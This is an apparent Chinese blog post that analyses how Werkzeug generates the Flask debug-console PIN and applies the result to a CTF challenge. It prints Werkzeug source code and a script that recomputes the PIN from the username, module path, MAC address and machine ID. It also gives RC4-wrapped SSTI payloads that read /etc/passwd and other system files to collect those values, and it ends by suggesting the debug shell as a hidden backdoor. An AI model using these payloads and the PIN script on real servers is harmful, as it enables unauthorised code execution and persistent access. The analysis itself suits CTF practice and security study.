Flask 如果在生产环境中开启 debug 模式,就会产生一个交互的 shell ,可以执行自定义的 python 代码。在较旧版本中是不用输入 PIN 码就可以执行代码,在新版本中需要输入一个 PIN 码。
在同一台机器上,多次重启 Flask 服务,PIN 码值不改变,也就是说 PIN 码不是随机生成的,有一定的生成方法可循。接下来,我们来具体地分析一下 PIN 码的生成流程
本文章的分析都是基于 python2.7 的。
本次调试环境:
这里就使用 pycharm 进行调试。
示例代码如下,在 app.run 设置断点
按 F7 进入 Flask 类的 run 方法 ,
位置python2.7\Lib\site-packages\flask\app.py(889~995)
,
这里都是一些变量的加载,不用理会,多次按 F8 直到 run_simple()
函数调用。
按 F7 进入 run_simple()
,位置python2.7\Lib\site-packages\werkzeug\serving.py(876~971)
,这里判断了是否使用 debug 调试,有的话就调用 DebuggedApplication
类
按 F7 进入,位置 python2.7\Lib\site-packages\werkzeug\debug\__init__.py(220~498)
,从DebuggedApplication
的 __init__
初始化操作中,有一个判断,如果启用 PIN,及 self.pin
存在值,就会通过 _log()
函数,将 PIN 码打印到出来。
ctrl+鼠标左击进入 self.pin
,这里使用了 @property
装饰器, @property
就是负责把一个方法变成属性调用的,方便定义属性的 get 和 set 方法。可以看到调用了 get_pin_and_name()
对 PIN 进行赋值。
ctrl+鼠标左击进入 get_pin_and_name()
,位置 python2.7\Lib\site-packages\werkzeug\debug\__init__.py(137~217)
,这里就是生成PIN码的重点代码
def get_pin_and_cookie_name(app): """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN") rv = None num = None # Pin was explicitly disabled if pin == "off": return None, None # Pin was provided explicitly if pin is not None and pin.replace("-", "").isdigit(): # If there are separators in the pin, return it directly if "-" in pin: rv = pin else: num = pin modname = getattr(app, "__module__", app.__class__.__module__) try: # getuser imports the pwd module, which does not exist in Google # App Engine. It may also raise a KeyError if the UID does not # have a username, such as in Docker. username = getpass.getuser() except (ImportError, KeyError): username = None mod = sys.modules.get(modname) # This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, "__name__", app.__class__.__name__), getattr(mod, "__file__", None), ] # This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(uuid.getnode()), get_machine_id()] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, text_type): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = "__wzd" + h.hexdigest()[:20] # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = ("%09d" % int(h.hexdigest(), 16))[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num return rv, cookie_name
首先初始化了三个变量,都为 None,其中 rv 就是 PIN 的值,在分析过程中需要重点关注其值的变化。
因为 PIN 为 None,所以第150~159
的两个 if 不会执行,直接跳过。
接下来,也是一些有关 PIN 生成变量的赋值。
变量值赋值后的结果如下
然后再对 probably_public_bits
和 private_bits
列表的元素进行 md5.update,update 会将每次字符串拼接,相当于对 probably_public_bits、private_bits
的所有元素加上 cookiesalt
和 pinsalt
字符串进行拼接一个长字符串,对这个长字符串进行md5加密,生成一个MD5加密的值,取前9位,赋值给num。
最后将 num 的九位数的值分割成3个三位数,再用-连接3个三位数拼接,赋值给 rv,这个 rv 就是 PIN 的值。
最后 PIN 的值如下
从如上的 PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits
和 private_bits
两个列表变量决定,而这两个列表变量又由如下6个变量决定:
getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般默认 flask.app 为 Flaskgetattr(mod, '__file__', None)
为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到str(uuid.getnode())
则是网卡 MAC 地址的十进制表达式get_machine_id()
系统 id那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。
还是用上面流程分析的代码,在 linux 中运行。
(1). uaername 可以从 /etc/passwd
中读取。这里是 root 用户启动的,所以值为 root,不知道哪个用户启动的,可以按照 /etc/passwd
里的用户多尝试一下。
(2). getattr(mod, '__file__', None)
flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意,python3 是 app.py,python2 中是 app.pyc。这里值为 /usr/local/lib/python2.7/dist-packages/flask/app.pyc
(3). str(uuid.getnode())
MAC地址 读取这两个地址:/sys/class/net/eth0/address
或者 /sys/class/net/ens33/address
转化为10进制,这里值为52228526895
(4). get_machine_id()
系统id 。
我们进入get_machine_id()
,从代码中可以得知这里对linux、os、window的3种系统的获取方法。
def get_machine_id(): global _machine_id if _machine_id is not None: return _machine_id def _generate(): linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except IOError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except IOError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: # subprocess may not be available, e.g. Google App Engine # https://github.com/pallets/werkzeug/issues/925 from subprocess import Popen, PIPE dump = Popen( ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE ).communicate()[0] match = re.search(b'"serial-number" = <([^>]+)', dump) if match is not None: return match.group(1) except (OSError, ImportError): pass # On Windows, use winreg to get the machine guid. try: import winreg as wr except ImportError: try: import _winreg as wr except ImportError: wr = None if wr is not None: try: with wr.OpenKey( wr.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, wr.KEY_READ | wr.KEY_WOW64_64KEY, ) as rk: guid, guid_type = wr.QueryValueEx(rk, "MachineGuid") if guid_type == wr.REG_SZ: return guid.encode("utf-8") return guid except WindowsError: pass _machine_id = _generate() return _machine_id
只要从 /etc/machine-id、/proc/sys/kernel/random/boot_id
中读到一个值后立即 break,然后和/proc/self/cgroup
中的id值拼接
2020.1.5对 machine_id()
进行了更新 ,所以2020.1.5之前的版本是跟这里不同的,具体更新情况可看
https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f
2020.1.5修改前是:
是依序读取 /proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id
三个文件,只要读取到一个文件的内容,立马返回值。
这里 /etc/machine-id
为 75d03aa852be476cbe73544c93e98276
,/proc/self/cgroup
只读取第一行,并以从右边算起的第一个‘/’
为分隔符,分成两部分,去右边那部分,这里为空,所以这里 get_machine_id()
的值为75d03aa852be476cbe73544c93e98276。
现在已经知道所有变量的值,可以就用 get_pin_and_cookie_name
的部分代码生成PIN码。
import hashlib from itertools import chain probably_public_bits = [ 'root'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None), ] private_bits = [ '52228526895',# str(uuid.getnode()), /sys/class/net/ens33/address '75d03aa852be476cbe73544c93e98276'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
最后生成的 PIN 码为638-233-100,输入后即可看到一个 shell 的交互界面
(1). uaername 可以从 net user 命令查看,这里值为 Administrator
(2). getattr(mod, '__file__', None)
flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意,python3 是 app.py,python2 中是 app.pyc。这里值为G:\code\venv\flaskProject2\lib\site-packages\flask\app.pyc
(3). str(uuid.getnode())
MAC 地址 ipconfig /all
转化为10进制,这里值为137106045523937
(4). get_machine_id()
系统 id 。
打开注册表查看\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
的 MachineGuid 值
也可以用 reg 命令行查询
reg query HKLM\SOFTWARE\Microsoft\Cryptography
这里值为e7090baa-1fff-45a8-9642-005948e998da
最后用上面的脚本生成PIN,结果尝试了一下是错了。
重新调试了一下脚本,发现 str(uuid.getnode())
的MAC地址不对,我本机上有多个网卡,所以有多个 MAC 地址,我一开始以为是 uuid.getnode()
获取的是当前正在的网卡的MAC地址。看了一下 uuid.getnode()
的底层实现源码,才知道,它是执行了 ipconfig /all
,根据返回的结果,逐行地去正则匹配 MAC 地址,第一个匹配成功就返回。
所以我这里第一个返回的MAC地址为7C-B2-7D-23-D7-E5,转化为十进制后为137106045523941,最后生成的PIN码为296-090-416
以华东赛区的[CISCN2019 华东南赛区]Double Secret为例题
做题地址在BUUCTF https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA]Double%20Secret
在 /secret?secret=123123 位置中,当 secret 的参数值超过5位数的时候,就会报一个交互的shell。
这里还存在 SSTI,我们可以利用读取生成PIN码所需的变量值。 后端对 secret 传入的值进行RC4加密,RC4 加密方式为:明文加密一次得到密文,再加密一次得到明文。 所以使用RC4脚本对如下的字符串进行加密,传入给 secret 中
rc4加密脚本
import base64 from urllib.parse import quote def rc4_main(key = "init_key", message = "init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可 # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print("混乱后的 s 盒:%s"% s_box) return s_box def rc4_excrypt(plain, box): # print("调用加密程序成功。") res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) # print("res用于加密字符串,加密后是:%res" %res) cipher = "".join(res) print("加密后的字符串是: %s" %quote(cipher)) #print("加密后的输出(经过编码):") #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) #rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}") #rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}") #rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}}") rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}}")
(1)username
对如下字符串进行 RC4 加密,再传入 secret 中
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd’).read()}}
加密后
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1C%C2%AEJuT6%C3%BA%5C%C3%8C%3D%C2%A75%C3%9Dz%5C%3F2%0D%C3%86%C3%8BF
可以得到 username 为 glzjin
(2)getattr(mod, '__file__', None)
从报错页面得知为 /usr/local/lib/python2.7/site-packages/flask/app.pyc
(3)str(uuid.getnode())
对如下字符串进行 RC4 加密,再传入 secret 中
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address’).read()}}
对得到的 MAC 地址,转化为十进制2485410510816
(4)get_machine_id()
对如下字符串进行 RC4 加密,再传入 secret 中
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup’).read()}
值为 docker 后面的字符串 e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731
最后得到的6个变量的值分别为
getattr(app, '__name__', getattr(app.__class__, '__name__'))
值为 Flaskgetattr(mod, '__file__', None)
值为/usr/local/lib/python2.7/site-packages/flask/app.pyc
str(uuid.getnode())
值为2485410510816get_machine_id()
值为e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731用如下脚本生成 PIN
import hashlib from itertools import chain probably_public_bits = [ 'glzjin'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None), ] private_bits = [ '2485410510816',# str(uuid.getnode()), /sys/class/net/ens33/address 'e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
输入正确的PIN码,得到一个交互的shell
Flask debug 交互性 shell,需要对主机有一定的访问权限,获取生成PIN所需的相关变量值,从渗透的角度来看,比较适合做个隐藏的后门。